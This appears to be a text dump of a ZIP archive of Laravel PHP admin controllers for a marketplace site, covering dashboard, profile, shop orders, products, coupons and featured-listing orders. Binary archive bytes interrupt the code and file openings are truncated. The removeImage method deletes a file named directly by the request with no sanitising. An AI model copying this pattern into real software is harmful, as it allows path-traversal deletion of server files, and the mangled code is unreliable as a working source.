$purchaseFound = false; foreach ($totalPurchases as $totalPurchase) { if ($totalPurchase->month == $i) { $purchaseFound = true; array_push($packagePurchaseIncomes, $totalPurchase->total); break; } } if ($purchaseFound == false) { array_push($packagePurchaseIncomes, 0); } // get all 12 months's income $userFound = false; foreach ($totalUsers as $totalUser) { if ($totalUser->month == $i) { $userFound = true; array_push($totalUsersArr, $totalUser->total); break; } } if ($userFound == false) { array_push($totalUsersArr, 0); } } $information['monthArr'] = $months; $information['packagePurchaseIncomesArr'] = $packagePurchaseIncomes; $information['totalUsersArr'] = $totalUsersArr; return view('admin.admin.dashboard', $information); } public function changeTheme(Request $request) { DB::table('basic_settings')->updateOrInsert( ['uniqid' => 12345], ['admin_theme_version' => $request->admin_theme_version] ); return redirect()->back(); } public function editProfile() { $adminInfo = Auth::guard('admin')->user(); return view('admin.admin.edit-profile', compact('adminInfo')); } public function updateProfile(Request $request) { $admin = Auth::guard('admin')->user(); $rules = []; if (is_null($admin->image)) { $rules['image'] = 'required'; } if ($request->hasFile('image')) { $rules['image'] = new ImageMimeTypeRule(); } $rules['username'] = [ 'required', Rule::unique('admins')->ignore($admin->id), Rule::unique('vendors') ]; $rules['email'] = [ 'required', Rule::unique('admins')->ignore($admin->id) ]; $rules['first_name'] = 'required'; $rules['last_name'] = 'required'; $validator = Validator::make($request->all(), $rules); if ($validator->fails()) { return redirect()->back()->withErrors($validator->errors()); } if ($request->hasFile('image')) { $newImg = $request->file('image'); $oldImg = $admin->image; $imageName = UploadFile::update(public_path('assets/img/admins/'), $newImg, $oldImg); } if ($request->show_email_address) { $show_email_address = 1; } else { $show_email_address = 0; } if ($request->show_phone_number) { $show_phone_number = 1; } else { $show_phone_number = 0; } $admin->update([ 'first_name' => $request->first_name, 'last_name' => $request->last_name, 'image' => $request->hasFile('image') ? $imageName : $admin->image, 'username' => $request->username, 'email' => $request->email, 'show_email_address' => $show_email_address, 'phone' => $request->phone, 'show_phone_number' => $show_phone_number, 'address' => $request->address, 'details' => $request->details, ]); Session::flash('success', 'Profile updated successfully!'); return redirect()->back(); } public function changePassword() { return view('admin.admin.change-password'); } public function updatePassword(Request $request) { $rules = [ 'current_password' => [ 'required', new MatchOldPasswordRule('admin') ], 'new_password' => 'required|confirmed', 'new_password_confirmation' => 'required' ]; $messages = [ 'new_password.confirmed' => 'Password confirmation does not match.', 'new_password_confirmation.required' => 'The confirm new password field is required.' ]; $validator = Validator::make($request->all(), $rules, $messages); if ($validator->fails()) { return Response::json([ 'errors' => $validator->getMessageBag()->toArray() ], 400); } $admin = Auth::guard('admin')->user(); $admin->update([ 'password' => Hash::make($request->new_password) ]); Session::flash('success', 'Password updated successfully!'); return response()->json(['status' => 'success'], 200); } public function logout(Request $request) { Auth::guard('admin')->logout(); // invalidate the admin's session $request->session()->invalidate(); return redirect()->route('admin.login'); } //membershipRequest public function membershipRequest() { $collections = Membership::where('memberships.status', '!=', 1)->paginate(10); $data['collections'] = $collections; return view('admin.admin.membership-request', $data); } public function membershipRequestUpdate(Request $request, $id) { $membership = Membership::findOrFail($id); $vendor = Vendor::findorFail($membership->vendor_id); $package = Package::findOrFail($membership->package_id); $settings = json_decode($membership->settings, true); $activation = Carbon::parse($package->start_date); $expire = Carbon::parse($package->expire_date); $membership->update([ 'status' => 1, 'modified' => 1 ]); if ($request->status != 0) { $mailer = new MegaMailer(); $data = [ 'toMail' => $vendor->email, 'toName' => $vendor->fname, 'username' => $vendor->username, 'package_title' => $package->title, 'package_price' => ($settings['base_currency_symbol_position'] == 'left' ? $settings['base_currency_symbol'] . ' ' : '') . $package->price . ($settings['base_currency_symbol_position'] == 'right' ? ' ' . $settings['base_currency_symbol'] : ''), 'activation_date' => $activation->toFormattedDateString(), 'expire_date' => Carbon::parse($expire->toFormattedDateString())->format('Y') == '9999' ? 'Lifetime' : $expire->toFormattedDateString(), 'website_title' => $settings['website_title'], 'templateType' => $request->status == 1 ? 'payment_accepted_for_membership_offline_gateway' : 'payment_rejected_for_membership_offline_gateway', ]; $mailer->mailFromAdmin($data); } else { } Session::flash('success', 'Updated payment status successfully.'); return back(); } } PK(\tn!  8Http/Controllers/Admin/Shop/ShippingChargeController.phpnu[where('code', '=', $request->language)->firstOrFail(); $information['language'] = $language; // then, get the shipping charge of that language from db $information['charges'] = $language->shippingCharge()->orderByDesc('id')->get(); // get all the languages from db $information['langs'] = Language::all(); // also, get the currency information from db $information['currencyInfo'] = $this->getCurrencyInfo(); return view('admin.shop.shipping-charge.index', $information); } public function store(Request $request) { $rules = [ 'language_id' => 'required', 'title' => 'required', 'short_text' => 'required', 'shipping_charge' => 'required', 'serial_number' => 'required' ]; $message = [ 'language_id.required' => 'The language field is required.' ]; $validator = Validator::make($request->all(), $rules, $message); if ($validator->fails()) { return Response::json([ 'errors' => $validator->getMessageBag() ], 400); } ShippingCharge::query()->create($request->all()); Session::flash('success', 'New shipping charge added successfully!'); return Response::json(['status' => 'success'], 200); } public function update(Request $request) { $rules = [ 'title' => 'required', 'short_text' => 'required', 'shipping_charge' => 'required', 'serial_number' => 'required' ]; $validator = Validator::make($request->all(), $rules); if ($validator->fails()) { return Response::json([ 'errors' => $validator->getMessageBag() ], 400); } $shippingCharge = ShippingCharge::query()->find($request->id); $shippingCharge->update($request->all()); Session::flash('success', 'Shipping charge updated successfully!'); return Response::json(['status' => 'success'], 200); } public function destroy($id) { $shippingCharge = ShippingCharge::query()->find($id); $shippingCharge->delete(); return redirect()->back()->with('success', 'Shipping charge deleted successfully!'); } } PK(\R||2Http/Controllers/Admin/Shop/CategoryController.phpnu[language)->firstOrFail(); $information['language'] = $language; // then, get the product categories of that language from db $information['categories'] = $language->productCategory()->orderByDesc('id')->get(); // also, get all the languages from db $information['langs'] = Language::all(); return view('admin.shop.category.index', $information); } public function store(Request $request) { $rules = [ 'language_id' => 'required', 'name' => 'required|unique:product_categories|max:255', 'status' => 'required|numeric', 'serial_number' => 'required|numeric' ]; $message = [ 'language_id.required' => 'The language field is required.' ]; $validator = Validator::make($request->all(), $rules, $message); if ($validator->fails()) { return Response::json([ 'errors' => $validator->getMessageBag() ], 400); } ProductCategory::create($request->except('slug') + [ 'slug' => createSlug($request->name) ]); Session::flash('success', 'New product category added successfully!'); return Response::json(['status' => 'success'], 200); } public function update(Request $request) { $rules = [ 'name' => [ 'required', 'max:255', Rule::unique('product_categories', 'name')->ignore($request->id, 'id') ], 'status' => 'required|numeric', 'serial_number' => 'required|numeric' ]; $validator = Validator::make($request->all(), $rules); if ($validator->fails()) { return Response::json([ 'errors' => $validator->getMessageBag() ], 400); } $category = ProductCategory::find($request->id); $category->update($request->except('slug') + [ 'slug' => createSlug($request->name) ]); Session::flash('success', 'Product category updated successfully!'); return Response::json(['status' => 'success'], 200); } public function destroy($id) { $category = ProductCategory::find($id); $productContents = $category->productContent()->get(); if (count($productContents) > 0) { return redirect()->back()->with('warning', 'First delete all the products of this category!'); } else { $category->delete(); return redirect()->back()->with('success', 'Category deleted successfully!'); } } public function bulkDestroy(Request $request) { $ids = $request->ids; $errorOccurred = false; foreach ($ids as $id) { $category = ProductCategory::find($id); $productContents = $category->productContent()->get(); if (count($productContents) > 0) { $errorOccurred = true; break; } else { $category->delete(); } } if ($errorOccurred == true) { Session::flash('warning', 'First delete all the product of these categories!'); } else { Session::flash('success', 'Product categories deleted successfully!'); } return Response::json(['status' => 'success'], 200); } } PK(\#裰33/Http/Controllers/Admin/Shop/OrderController.phpnu[filled('order_no')) { $orderNumber = $request['order_no']; } if ($request->filled('payment_status')) { $paymentStatus = $request['payment_status']; } if ($request->filled('order_status')) { $orderStatus = $request['order_status']; } $orders = ProductOrder::query()->when($orderNumber, function ($query, $orderNumber) { return $query->where('order_number', 'like', '%' . $orderNumber . '%'); }) ->when($paymentStatus, function ($query, $paymentStatus) { return $query->where('payment_status', '=', $paymentStatus); }) ->when($orderStatus, function ($query, $orderStatus) { return $query->where('order_status', '=', $orderStatus); }) ->orderByDesc('id') ->paginate(10); return view('admin.shop.order.index', compact('orders')); } public function updatePaymentStatus(Request $request, $id) { $order = ProductOrder::find($id); if ($request['payment_status'] == 'pending') { if ($order->payment_status == 'rejected' && $order->order_status != 'rejected') { $this->changeProductQuantity($order, 'decrease'); } $order->update([ 'payment_status' => 'pending' ]); $statusMsg = 'Your payment is pending.'; } else if ($request['payment_status'] == 'completed') { if ($order->payment_status == 'rejected' && $order->order_status != 'rejected') { $this->changeProductQuantity($order, 'decrease'); } $order->update([ 'payment_status' => 'completed' ]); $statusMsg = 'Your payment is complete.'; // generate an invoice in pdf format $invoice = $this->generateInvoice($order); // then, update the invoice field info in database $order->update([ 'invoice' => $invoice ]); } else { if ($order->payment_status != 'rejected' && $order->order_status != 'rejected') { $this->changeProductQuantity($order, 'increase'); } $order->update([ 'payment_status' => 'rejected' ]); $statusMsg = 'Your payment has been rejected.'; } $mailData = []; if (isset($invoice)) { $mailData['invoice'] = public_path('assets/file/invoices/product/') . $invoice; } $mailData['subject'] = 'Notification of payment status'; $mailData['body'] = 'Hi ' . $order->billing_first_name . ' ' . $order->billing_last_name . ',

This email is to notify the payment status of your product purchase. ' . $statusMsg; $mailData['recipient'] = $order->billing_email; $mailData['sessionMessage'] = 'Payment status updated & mail has been sent successfully!'; BasicMailer::sendMail($mailData); return redirect()->back(); } public function generateInvoice($orderInfo) { $fileName = $orderInfo->order_number . '.pdf'; $data['orderInfo'] = $orderInfo; $items = $orderInfo->item()->get(); $items->map(function ($item) { $product = $item->productInfo()->first(); $item['price'] = $product->current_price * $item->quantity; }); $data['productList'] = $items; $directory = public_path('assets/file/invoices/product/'); @mkdir($directory, 0775, true); $fileLocated = $directory . $fileName; $data['taxData'] = Basic::select('product_tax_amount')->first(); PDF::loadView('frontend.shop.invoice', $data)->save($fileLocated); return $fileName; } public function updateOrderStatus(Request $request, $id) { $order = ProductOrder::find($id); if ($request['order_status'] == 'pending') { if ($order->order_status == 'rejected' && $order->payment_status != 'rejected') { $this->changeProductQuantity($order, 'decrease'); } $order->update([ 'order_status' => 'pending' ]); $statusMsg = 'We want to inform you that, your order #' . $order->order_number . ' is pending.'; } else if ($request['order_status'] == 'processing') { if ($order->order_status == 'rejected' && $order->payment_status != 'rejected') { $this->changeProductQuantity($order, 'decrease'); } $order->update([ 'order_status' => 'processing' ]); $statusMsg = 'We want to inform you that, your order #' . $order->order_number . ' is now processing.'; } else if ($request['order_status'] == 'completed') { if ($order->order_status == 'rejected' && $order->payment_status != 'rejected') { $this->changeProductQuantity($order, 'decrease'); } $order->update([ 'order_status' => 'completed' ]); $statusMsg = 'We want to inform you that, your order #' . $order->order_number . ' has been completed.

Thank you.'; } else { if ($order->order_status != 'rejected' && $order->payment_status != 'rejected') { $this->changeProductQuantity($order, 'increase'); } $order->update([ 'order_status' => 'rejected' ]); $statusMsg = 'We want to inform you that, your order #' . $order->order_number . ' has been rejected.'; } $mailData['subject'] = 'Notification of order status'; $mailData['body'] = 'Hi ' . $order->billing_name . ',

This email is to notify the order status of your purchased item. ' . $statusMsg; $mailData['recipient'] = $order->billing_email; $mailData['sessionMessage'] = 'Order status updated & mail has been sent successfully!'; BasicMailer::sendMail($mailData); return redirect()->back(); } public function changeProductQuantity($productOrder, $changeType) { $purchaseItems = $productOrder->item()->get(); foreach ($purchaseItems as $purchaseItem) { $product = $purchaseItem->productInfo()->first(); if ($product->product_type == 'physical') { if ($changeType == 'increase') { $product->update([ 'stock' => $product->stock + $purchaseItem->quantity ]); } else { $product->update([ 'stock' => $product->stock - $purchaseItem->quantity ]); } } } } public function show($id) { $order = ProductOrder::findOrFail($id); $information['details'] = $order; $information['tax'] = Basic::select('product_tax_amount')->first(); $items = $order->item()->get(); $items->map(function ($item) { $product = $item->productInfo()->first(); $item['featured_image'] = $product->featured_image; $item['current_price'] = $product->current_price; }); $information['items'] = $items; return view('admin.shop.order.details', $information); } public function destroy($id) { $order = ProductOrder::find($id); // delete the attachment @unlink(public_path('assets/file/attachments/product/') . $order->attachment); // delete the invoice @unlink(public_path('assets/file/invoices/product/') . $order->invoice); // delete purchase infos of this order $items = $order->item()->get(); if (count($items) > 0) { foreach ($items as $item) { $item->delete(); } } $order->delete(); return redirect()->back()->with('success', 'Order deleted successfully!'); } public function bulkDestroy(Request $request) { $ids = $request->ids; foreach ($ids as $id) { $order = ProductOrder::find($id); // delete the attachment @unlink(public_path('assets/file/attachments/product/') . $order->attachment); // delete the invoice @unlink(public_path('assets/file/invoices/product/') . $order->invoice); // delete purchase infos of this order $items = $order->item()->get(); if (count($items) > 0) { foreach ($items as $item) { $item->delete(); } } $order->delete(); } Session::flash('success', 'Orders deleted successfully!'); return response()->json(['status' => 'success'], 200); } public function report(Request $request) { $information['onlineGateways'] = OnlineGateway::query()->where('status', '=', 1)->get(); $information['offlineGateways'] = OfflineGateway::query()->where('status', '=', 1)->orderBy('serial_number', 'asc')->get(); $from = $to = $paymentGateway = $paymentStatus = $orderStatus = null; if ($request->filled('payment_gateway')) { $paymentGateway = $request->payment_gateway; } if ($request->filled('payment_status')) { $paymentStatus = $request->payment_status; } if ($request->filled('order_status')) { $orderStatus = $request->order_status; } if ($request->filled('from') && $request->filled('to')) { $from = Carbon::parse($request->from)->toDateString(); $to = Carbon::parse($request->to)->toDateString(); $records = ProductOrder::query() ->whereDate('created_at', '>=', $from) ->whereDate('created_at', '<=', $to) ->when($paymentGateway, function (Builder $query, $paymentGateway) { return $query->where('payment_method', '=', $paymentGateway); }) ->when($paymentStatus, function (Builder $query, $paymentStatus) { return $query->where('payment_status', '=', $paymentStatus); }) ->when($orderStatus, function (Builder $query, $orderStatus) { return $query->where('order_status', '=', $orderStatus); }) ->select('order_number', 'billing_name', 'billing_email', 'billing_phone', 'billing_address', 'billing_city', 'billing_state', 'billing_country', 'shipping_name', 'shipping_email', 'shipping_phone', 'shipping_address', 'shipping_city', 'shipping_state', 'shipping_country', 'total', 'discount', 'product_shipping_charge_id', 'shipping_cost', 'tax', 'grand_total', 'currency_text', 'currency_text_position', 'payment_method', 'payment_status', 'order_status', 'created_at') ->orderByDesc('id'); $collection_1 = $this->manipulateCollection($records->get()); Session::put('product_orders', $collection_1); $collection_2 = $this->manipulateCollection($records->paginate(10)); $information['orders'] = $collection_2; } else { Session::put('product_orders', null); $information['orders'] = []; } return view('admin.shop.order.report', $information); } public function manipulateCollection($orders) { $orders->map(function ($order) { // shipping charge title $order['shippingMethod'] = $order->shippingMethod()->pluck('title')->first(); // format created_at date $dateObj = Carbon::parse($order->created_at); $order['createdAt'] = $dateObj->format('M d, Y'); }); return $orders; } public function exportReport() { if (Session::has('product_orders')) { $productOrders = Session::get('product_orders'); if (count($productOrders) == 0) { Session::flash('warning', 'No order found to export!'); return redirect()->back(); } else { return Excel::download(new ProductOrdersExport($productOrders), 'product-orders.csv'); } } else { Session::flash('error', 'There has no order to export.'); return redirect()->back(); } } } PK(\~`FF1Http/Controllers/Admin/Shop/ProductController.phpnu[language)->firstOrFail(); $information['langs'] = Language::all(); $information['products'] = Product::query()->join('product_contents', 'products.id', '=', 'product_contents.product_id') ->join('product_categories', 'product_categories.id', '=', 'product_contents.product_category_id') ->where('product_contents.language_id', '=', $language->id) ->select('products.id', 'products.product_type', 'products.featured_image', 'products.current_price', 'product_contents.title', 'product_categories.name as categoryName', 'products.is_featured') ->orderByDesc('products.id') ->get(); $information['currencyInfo'] = $this->getCurrencyInfo(); $information['themeInfo'] = DB::table('basic_settings')->select('theme_version')->first(); return view('admin.shop.product.index', $information); } /** * Show the product type page to select one of them. * * @return \Illuminate\Http\Response */ public function productType() { $information['digitalProductCount'] = Product::where('product_type', 'digital')->count(); $information['physicalProductCount'] = Product::where('product_type', 'physical')->count(); return view('admin.shop.product.product-type', $information); } /** * Show the form for creating a new resource. * * @return \Illuminate\Http\Response */ public function create($type) { $information['productType'] = $type; $information['currencyInfo'] = $this->getCurrencyInfo(); $languages = Language::all(); $languages->map(function ($language) { $language['categories'] = $language->productCategory()->where('status', 1)->orderByDesc('id')->get(); }); $information['languages'] = $languages; return view('admin.shop.product.create', $information); } /** * Store a new slider image in storage. * * @param \Illuminate\Http\Request $request * @return \Illuminate\Http\Response */ public function uploadImage(Request $request) { $rules = [ 'slider_image' => new ImageMimeTypeRule() ]; $validator = Validator::make($request->all(), $rules); if ($validator->fails()) { return Response::json([ 'error' => $validator->getMessageBag()->toArray() ], 400); } $imageName = UploadFile::store(public_path('assets/img/products/slider-images/'), $request->file('slider_image')); return Response::json(['uniqueName' => $imageName], 200); } /** * Remove a slider image from storage. * * @param \Illuminate\Http\Request $request * @return \Illuminate\Http\Response */ public function removeImage(Request $request) { if (empty($request['imageName'])) { return Response::json(['error' => 'The request has no file name.'], 400); } else { @unlink(public_path('assets/img/products/slider-images/') . $request['imageName']); return Response::json(['success' => 'The file has been deleted.'], 200); } } /** * Store a newly created resource in storage. * * @param \Illuminate\Http\Request $request * @return \Illuminate\Http\Response */ public function store(ProductStoreRequest $request) { // store featured image in storage $featuredImgName = UploadFile::store(public_path('assets/img/products/featured-images/'), $request->file('featured_image')); // store product zip file in storage if ($request->hasFile('file')) { $fileName = UploadFile::store(public_path('assets/file/products/'), $request->file('file')); } // store data in db $product = Product::create($request->except('featured_image', 'slider_images', 'file') + [ 'featured_image' => $featuredImgName, 'slider_images' => json_encode($request['slider_images']), 'file' => $request->hasFile('file') ? $fileName : null ]); $languages = Language::all(); foreach ($languages as $language) { $productContent = new ProductContent(); $productContent->language_id = $language->id; $productContent->product_category_id = $request[$language->code . '_category_id']; $productContent->product_id = $product->id; $productContent->title = $request[$language->code . '_title']; $productContent->slug = createSlug($request[$language->code . '_title']); $productContent->summary = $request[$language->code . '_summary']; $productContent->content = Purifier::clean($request[$language->code . '_content'], 'youtube'); $productContent->meta_keywords = $request[$language->code . '_meta_keywords']; $productContent->meta_description = $request[$language->code . '_meta_description']; $productContent->save(); } Session::flash('success', 'New product added successfully!'); return Response::json(['status' => 'success'], 200); } /** * Update the 'featured' status of a specified resource. * * @param \Illuminate\Http\Request $request * @param int $id * @return \Illuminate\Http\Response */ public function updateFeaturedStatus(Request $request, $id) { $product = Product::find($id); if ($request['is_featured'] == 'yes') { $product->update([ 'is_featured' => 'yes' ]); Session::flash('success', 'Product featured successfully!'); } else { $product->update([ 'is_featured' => 'no' ]); Session::flash('success', 'Product unfeatured successfully!'); } return redirect()->back(); } /** * Show the form for editing the specified resource. * * @param int $id * @return \Illuminate\Http\Response */ public function edit($id, $type) { $information['productType'] = $type; $product = Product::findOrFail($id); $information['product'] = $product; // get the currency information from db $information['currencyInfo'] = $this->getCurrencyInfo(); // get all the languages from db $languages = Language::all(); $languages->map(function ($language) use ($product) { // get product information of each language from db $language['productData'] = $language->productContent()->where('product_id', $product->id)->first(); // get all the categories of each language from db $language['categories'] = $language->productCategory()->where('status', 1)->orderByDesc('id')->get(); }); $information['languages'] = $languages; return view('admin.shop.product.edit', $information); } /** * Remove 'stored' slider image form storage. * * @param \Illuminate\Http\Request $request * @return \Illuminate\Http\Response */ public function detachImage(Request $request) { $id = $request['id']; $key = $request['key']; $product = Product::find($id); if (empty($product)) { return Response::json(['message' => 'Product not found!'], 400); } else { $sliderImages = json_decode($product->slider_images); if (count($sliderImages) == 1) { return Response::json(['message' => 'Sorry, the last image cannot be delete.'], 400); } else { $image = $sliderImages[$key]; @unlink(public_path('assets/img/products/slider-images/') . $image); array_splice($sliderImages, $key, 1); $product->update([ 'slider_images' => json_encode($sliderImages) ]); return Response::json(['message' => 'Slider image removed successfully!'], 200); } } } /** * Update the specified resource in storage. * * @param \Illuminate\Http\Request $request * @param int $id * @return \Illuminate\Http\Response */ public function update(ProductUpdateRequest $request, $id) { $product = Product::find($id); // store featured image in storage if ($request->hasFile('featured_image')) { $newImage = $request->file('featured_image'); $oldImage = $product->featured_image; $featuredImgName = UploadFile::update(public_path('assets/img/products/featured-images/'), $newImage, $oldImage); } // merge slider images with existing images if request has new slider image if ($request->filled('slider_images')) { $prevImages = json_decode($product->slider_images); $newImages = $request['slider_images']; $imgArr = array_merge($prevImages, $newImages); } // store product zip file in storage if ($request->hasFile('file')) { $newFile = $request->file('file'); $oldFile = $product->file; $fileName = UploadFile::update(public_path('assets/file/products/'), $newFile, $oldFile); } // if input type change from zip file to downloadable link, then delete the existing zip file from local storage. $productType = $request->product_type; if ($productType == 'digital' && $request->input_type == 'link' && !empty($product->file)) { @unlink(public_path('assets/file/products/') . $product->file); } // store data in db $product->update($request->except('featured_image', 'slider_images', 'file') + [ 'featured_image' => $request->hasFile('featured_image') ? $featuredImgName : $product->featured_image, 'slider_images' => isset($imgArr) ? json_encode($imgArr) : $product->slider_images, 'file' => $request->hasFile('file') ? $fileName : $product->file ]); $languages = Language::all(); foreach ($languages as $language) { $productContent = ProductContent::where('product_id', $id)->where('language_id', $language->id)->first(); if (empty($productContent)) { $productContent = new ProductContent(); } $productContent->product_category_id = $request[$language->code . '_category_id']; $productContent->language_id = $language->id; $productContent->product_id = $id; $productContent->title = $request[$language->code . '_title']; $productContent->slug = createSlug($request[$language->code . '_title']); $productContent->summary = $request[$language->code . '_summary']; $productContent->content = Purifier::clean($request[$language->code . '_content'], 'youtube'); $productContent->meta_keywords = $request[$language->code . '_meta_keywords']; $productContent->meta_description = $request[$language->code . '_meta_description']; $productContent->save(); } Session::flash('success', 'Product updated successfully!'); return Response::json(['status' => 'success'], 200); } /** * Remove the specified resource from storage. * * @param int $id * @return \Illuminate\Http\Response */ public function destroy($id) { $product = Product::find($id); // delete the featured image @unlink(public_path('assets/img/products/featured-images/') . $product->featured_image); // delete the slider images $sliderImages = json_decode($product->slider_images); foreach ($sliderImages as $sliderImage) { @unlink(public_path('assets/img/products/slider-images/') . $sliderImage); } // delete the product zip file @unlink(public_path('assets/file/products/') . $product->file); // delete contents of this product $productContents = $product->content()->get(); foreach ($productContents as $productContent) { $productContent->delete(); } // delete purchase item records of this product $purchaseInfos = $product->purchase()->get(); if (count($purchaseInfos) > 0) { foreach ($purchaseInfos as $purchaseData) { $purchaseInfo = $purchaseData; $purchaseData->delete(); // delete the order if, this order does not contain any other items $otherPurchaseItems = ProductPurchaseItem::query()->where('product_id', '<>', $product->id) ->where('product_order_id', '=', $purchaseInfo->product_order_id) ->get(); if (count($otherPurchaseItems) == 0) { $order = ProductOrder::query()->find($purchaseInfo->product_order_id); // delete order receipt @unlink(public_path('assets/file/attachments/product/') . $order->receipt); // delete order invoice @unlink(public_path('assets/file/invoices/product/') . $order->invoice); $order->delete(); } } } // delete all the reviews of this product $reviews = $product->review()->get(); if (count($reviews) > 0) { foreach ($reviews as $review) { $review->delete(); } } $product->delete(); return redirect()->back()->with('success', 'Product deleted successfully!'); } /** * Remove the selected or all resources from storage. * * @param \Illuminate\Http\Request $request * @return \Illuminate\Http\Response */ public function bulkDestroy(Request $request) { $ids = $request->ids; foreach ($ids as $id) { $product = Product::find($id); // delete the featured image @unlink(public_path('assets/img/products/featured-images/') . $product->featured_image); // delete the slider images $sliderImages = json_decode($product->slider_images); foreach ($sliderImages as $sliderImage) { @unlink(public_path('assets/img/products/slider-images/') . $sliderImage); } // delete the product zip file @unlink(public_path('assets/file/products/') . $product->file); // delete contents of this product $productContents = $product->content()->get(); foreach ($productContents as $productContent) { $productContent->delete(); } // delete purchase item records of this product $purchaseInfos = $product->purchase()->get(); if (count($purchaseInfos) > 0) { foreach ($purchaseInfos as $purchaseData) { $purchaseInfo = $purchaseData; $purchaseData->delete(); // delete the order if, this order does not contain any other items $otherPurchaseItems = ProductPurchaseItem::query()->where('product_id', '<>', $product->id) ->where('product_order_id', '=', $purchaseInfo->product_order_id) ->get(); if (count($otherPurchaseItems) == 0) { $order = ProductOrder::query()->find($purchaseInfo->product_order_id); // delete order receipt @unlink(public_path('assets/file/attachments/product/') . $order->receipt); // delete order invoice @unlink(public_path('assets/file/invoices/product/') . $order->invoice); $order->delete(); } } } // delete all the reviews of this product $reviews = $product->review()->get(); if (count($reviews) > 0) { foreach ($reviews as $review) { $review->delete(); } } $product->delete(); } Session::flash('success', 'Products deleted successfully!'); return Response::json(['status' => 'success'], 200); } public function downloadProduct(Request $request, $id) { $product = Product::query()->find($id); $pathToFile = public_path('./assets/file/products/' . $product->file); try { return response()->download($pathToFile); } catch (FileNotFoundException $e) { $request->session()->flash('error', 'Sorry, this file does not exist anymore!'); return redirect()->back(); } } } PK(\7GG0Http/Controllers/Admin/Shop/CouponController.phpnu[get(); // also, get the currency information from db $information['currencyInfo'] = $this->getCurrencyInfo(); return view('admin.shop.coupon.index', $information); } public function store(CouponStoreRequest $request) { $startDate = Carbon::parse($request->start_date); $endDate = Carbon::parse($request->end_date); Coupon::create($request->except('start_date', 'end_date') + [ 'start_date' => date_format($startDate, 'Y-m-d'), 'end_date' => date_format($endDate, 'Y-m-d') ]); Session::flash('success', 'New coupon added successfully!'); return response()->json(['status' => 'success'], 200); } public function update(CouponUpdateRequest $request) { $startDate = Carbon::parse($request->start_date); $endDate = Carbon::parse($request->end_date); Coupon::find($request->id)->update($request->except('start_date', 'end_date') + [ 'start_date' => date_format($startDate, 'Y-m-d'), 'end_date' => date_format($endDate, 'Y-m-d') ]); Session::flash('success', 'Coupon updated successfully!'); return response()->json(['status' => 'success'], 200); } public function destroy($id) { Coupon::find($id)->delete(); return redirect()->back()->with('success', 'Coupon deleted successfully!'); } } PK(\'  ;Http/Controllers/Admin/FeaturedListing/ChargeController.phpnu[ 'required', 'days' => 'required', ]; $message = [ 'price.required' => 'The price field is required.', 'days.required' => 'The days field is required.' ]; $validator = Validator::make($request->all(), $rules, $message); if ($validator->fails()) { return Response::json([ 'errors' => $validator->getMessageBag() ], 400); } FeaturedListingCharge::query()->create($request->except('language')); Session::flash('success', 'Charge stored successfully!'); return Response::json(['status' => 'success'], 200); } public function update(Request $request) { $rules = [ 'price' => 'required', 'days' => 'required', ]; $validator = Validator::make($request->all(), $rules); if ($validator->fails()) { return Response::json([ 'errors' => $validator->getMessageBag() ], 400); } $chargeInfo = FeaturedListingCharge::query()->find($request->id); $chargeInfo->update([ 'price' => $request->price, 'days' => $request->days, ]); Session::flash('success', 'Charge updated successfully!'); return Response::json(['status' => 'success'], 200); } public function destroy($id) { $charge = FeaturedListingCharge::query()->find($id); $charge->delete(); return redirect()->back()->with('success', 'Charge deleted successfully!'); } public function bulkDestroy(Request $request) { $ids = $request['ids']; foreach ($ids as $id) { $charge = FeaturedListingCharge::query()->find($id); $charge->delete(); } Session::flash('success', 'Selected Informations deleted successfully!'); return Response::json(['status' => 'success'], 200); } } PK(\X ',\,\AHttp/Controllers/Admin/FeaturedListing/OrderRequestController.phpnu[where('code', '=', $request->language)->firstOrFail(); $information['language'] = $language; $orderNumber = $paymentStatus = $orderStatus = $title = null; $listingIds = []; if ($request->filled('title')) { $title = $request->title; $listing_contents = ListingContent::where('language_id', $language->id) ->where('title', 'like', '%' . $title . '%') ->get() ->pluck('listing_id'); foreach ($listing_contents as $listing_content) { if (!in_array($listing_content, $listingIds)) { array_push($listingIds, $listing_content); } } } if ($request->filled('order_no')) { $orderNumber = $request['order_no']; } if ($request->filled('payment_status')) { $paymentStatus = $request['payment_status']; } if ($request->filled('order_status')) { $orderStatus = $request['order_status']; } $orders = FeatureOrder::query()->when($orderNumber, function ($query, $orderNumber) { return $query->where('order_number', 'like', '%' . $orderNumber . '%'); }) ->when($title, function ($query) use ($listingIds) { return $query->whereIn('feature_orders.listing_id', $listingIds); }) ->when($paymentStatus, function ($query, $paymentStatus) { return $query->where('payment_status', '=', $paymentStatus); }) ->when($orderStatus, function ($query, $orderStatus) { return $query->where('order_status', '=', $orderStatus); }) ->orderByDesc('id') ->paginate(10); $information['orders'] = $orders; return view('admin.featured-listing.index', $information); } public function pending(Request $request) { $information['langs'] = Language::all(); $language = Language::query()->where('code', '=', $request->language)->firstOrFail(); $information['language'] = $language; $orderNumber = $paymentStatus = $orderStatus = $title = null; $listingIds = []; if ($request->filled('title')) { $title = $request->title; $listing_contents = ListingContent::where('language_id', $language->id) ->where('title', 'like', '%' . $title . '%') ->get() ->pluck('listing_id'); foreach ($listing_contents as $listing_content) { if (!in_array($listing_content, $listingIds)) { array_push($listingIds, $listing_content); } } } if ($request->filled('order_no')) { $orderNumber = $request['order_no']; } if ($request->filled('payment_status')) { $paymentStatus = $request['payment_status']; } if ($request->filled('order_status')) { $orderStatus = $request['order_status']; } $orders = FeatureOrder::query()->when($orderNumber, function ($query, $orderNumber) { return $query->where('order_number', 'like', '%' . $orderNumber . '%'); }) ->when($title, function ($query) use ($listingIds) { return $query->whereIn('feature_orders.listing_id', $listingIds); }) ->when($paymentStatus, function ($query, $paymentStatus) { return $query->where('payment_status', '=', $paymentStatus); }) ->when($orderStatus, function ($query, $orderStatus) { return $query->where('order_status', '=', $orderStatus); }) ->where('order_status', 'pending') ->orderByDesc('id') ->paginate(10); $information['orders'] = $orders; return view('admin.featured-listing.pending', $information); } public function approved(Request $request) { $information['langs'] = Language::all(); $language = Language::query()->where('code', '=', $request->language)->firstOrFail(); $information['language'] = $language; $orderNumber = $paymentStatus = $orderStatus = $title = null; $listingIds = []; if ($request->filled('title')) { $title = $request->title; $listing_contents = ListingContent::where('language_id', $language->id) ->where('title', 'like', '%' . $title . '%') ->get() ->pluck('listing_id'); foreach ($listing_contents as $listing_content) { if (!in_array($listing_content, $listingIds)) { array_push($listingIds, $listing_content); } } } if ($request->filled('order_no')) { $orderNumber = $request['order_no']; } if ($request->filled('payment_status')) { $paymentStatus = $request['payment_status']; } if ($request->filled('order_status')) { $orderStatus = $request['order_status']; } $orders = FeatureOrder::query()->when($orderNumber, function ($query, $orderNumber) { return $query->where('order_number', 'like', '%' . $orderNumber . '%'); }) 